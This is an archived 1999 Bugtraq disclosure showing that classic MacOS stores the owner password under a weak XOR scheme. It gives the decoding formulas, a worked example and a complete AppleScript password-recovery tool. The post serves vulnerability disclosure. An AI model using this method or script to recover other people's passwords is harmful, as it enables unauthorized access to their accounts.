home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / •New Files / Decrypt-a-tron / encryption algorithm < prev    next >
Internet Message Format  |  1999-07-19  |  7KB

  1. Date: Sat, 10 Jul 1999 15:28:17 +0200 
  2.                              From: Dawid adix Adamski  
  3.                              To: BUGTRAQ@SECURITYFOCUS.COM 
  4.                              Subject: MacOS system encryption algorithm 
  5.  
  6.                              The encryption algorithm in MacOS system is simple and the password can be 
  7.                              easily decoded. 
  8.  
  9.                              Password is stored in Users & Groups Data File in Preferences folder. 
  10.                              Offset 
  11.                              is different on each system and depends on Users & Groups configuration, 
  12.                              but 
  13.                              it always lie after owner's username. It's not so difficult to find it 
  14.                              using 
  15.                              hex editor, even if we don't know owner's username. 
  16.  
  17.                              Here are some examples of encrypted passwords: 
  18.                              00 04 06 18 0D 0A 19 0B = stayaway 
  19.                              0A 1F 10 1B 00 07 75 1E = yellow 
  20.                              1C 1B 16 14 12 62 10 7B = owner 
  21.                              07 02 13 1A 1E 0F 1A 14 = turnpage 
  22.                              27 25 33 27 27 39 24 7E = Trustno1 
  23.  
  24.                              AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh 
  25.  
  26.                              where: 
  27.                              AA BB CC DD EE FF GG HH - encrypted password (hex) 
  28.                              aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex) 
  29.  
  30.                              aa=AA XOR 73H 
  31.                              bb=BB XOR AA XOR 70H 
  32.                              cc=CC XOR BB XOR 63H 
  33.                              dd=DD XOR CC XOR 67H 
  34.                              ee=EE XOR DD XOR 74H 
  35.                              ff=FF XOR EE XOR 70H 
  36.                              gg=GG XOR FF XOR 72H 
  37.                              hh=HH XOR GG XOR 6BH 
  38.  
  39.                              An example: 
  40.                              Let's take OO 04 06 18 0D 0A 19 0B 
  41.  
  42.                              00H XOR 73H = 73H = s 
  43.                              04H XOR 00H = 04H; 04H XOR 70H = 74H = t 
  44.                              06H XOR 04H = 02H; O2H XOR 63H = 61H = a 
  45.                              18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y 
  46.                              0DH XOR 18H = 15H; 15H XOR 74H = 61H = a 
  47.                              0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w 
  48.                              19H XOR 0AH = 13H; 13H XOR 72H = 61H = a 
  49.                              0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y 
  50.  
  51.                              tested on: 
  52.                              MacOS 7.5.3, 7.5.5, 8.1, 8.5 
  53.  
  54.                              I wrote an apple script to break passwords 
  55.  
  56.                              --------CUT HERE-------- 
  57.                              (*          MacOS Pass 2.1 by adix      15.06.99; Apple Script English     
  58.                              *) 
  59.                              global lbin, bit1, bit2, bitk 
  60.                              set hex1 to text returned of (display dialog "Enter encrypted password 
  61.                              (hex): " default answer "" buttons {" Ok "} default button " Ok " with 
  62.                              icon 
  63.                              stop) 
  64.                              set Alicia to 
  65.                              "0111001101110000011000110110011101110100011100000111001001101011" 
  66.                              set pass to "" 
  67.                              set lbin to "" 
  68.                              set razem to "" 
  69.                              set i to 1 
  70.                              set skok to 0 
  71.                              set ile to count items in hex1 
  72.                              if ile = 0 or ile = 1 then 
  73.                              set pass to "" 
  74.                              else 
  75.                              repeat until (i > (ile - 1)) 
  76.                                set kodascii to 0 
  77.                                set razem to "" 
  78.                                set zn to items (i) thru (i + 1) in hex1 
  79.                                set lbin to hex2bin(zn) 
  80.                                repeat with a from 1 to 8 
  81.                                 set bit1 to item (a + skok) of Alicia 
  82.                                 xor(a) 
  83.                                 set razem to {razem & bitk} as string 
  84.                                 if i < 2 then 
  85.                                  set kodascii to {kodascii + bitk * (2 ^ (8 - a))} 
  86.                                 end if 
  87.                                end repeat 
  88.                                if i < 2 then 
  89.                                 set pass to {pass & (ASCII character kodascii)} 
  90.                                else 
  91.                                 set zn to items (i - 2) thru (i - 1) in hex1 
  92.                                 set lbin to hex2bin(zn) 
  93.                                 repeat with a from 1 to 8 
  94.                                  set bit1 to item a of razem 
  95.                                  xor(a) 
  96.                                  set kodascii to {kodascii + bitk * (2 ^ (8 - a))} 
  97.                                 end repeat 
  98.                                 set pass to {pass & (ASCII character kodascii)} 
  99.                                end if 
  100.                                set skok to skok + 8 
  101.                                set i to i + 2 
  102.                              end repeat 
  103.                              end if 
  104.                              display dialog "Password:   " & pass & return & return & "by adix" buttons 
  105.                              {" Ok "} default button " Ok " with icon note 
  106.                              on hex2bin(zn) 
  107.                              set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110", 
  108.                              "0111", "1000", "1001", "1010", "1011", "1100", - 
  109.                                "1101", "1110", "1111"} 
  110.                              set t2hex to "0123456789ABCDEF" 
  111.                              set bin to "" 
  112.                              repeat with j in zn 
  113.                                set t1 to j as string 
  114.                                repeat with i from 1 to (count items in t2hex) 
  115.                                 if ((item i in t2hex) = t1) then 
  116.                                  set temp to (item i in temphex) 
  117.                                  exit repeat 
  118.                                 end if 
  119.                                end repeat 
  120.                                set bin to {bin & temp} as string 
  121.                              end repeat 
  122.                              return (bin) 
  123.                              end hex2bin 
  124.                              on xor(a) 
  125.                              set bit2 to item a in lbin 
  126.                              if bit1 = bit2 then 
  127.                                set bitk to "0" 
  128.                              else 
  129.                                set bitk to "1" 
  130.                              end if 
  131.                              end xor 
  132.                              --------CUT HERE-------- 
  133.  
  134.                              Dawid adix Adamski 
  135.                              adixx@friko4.onet.pl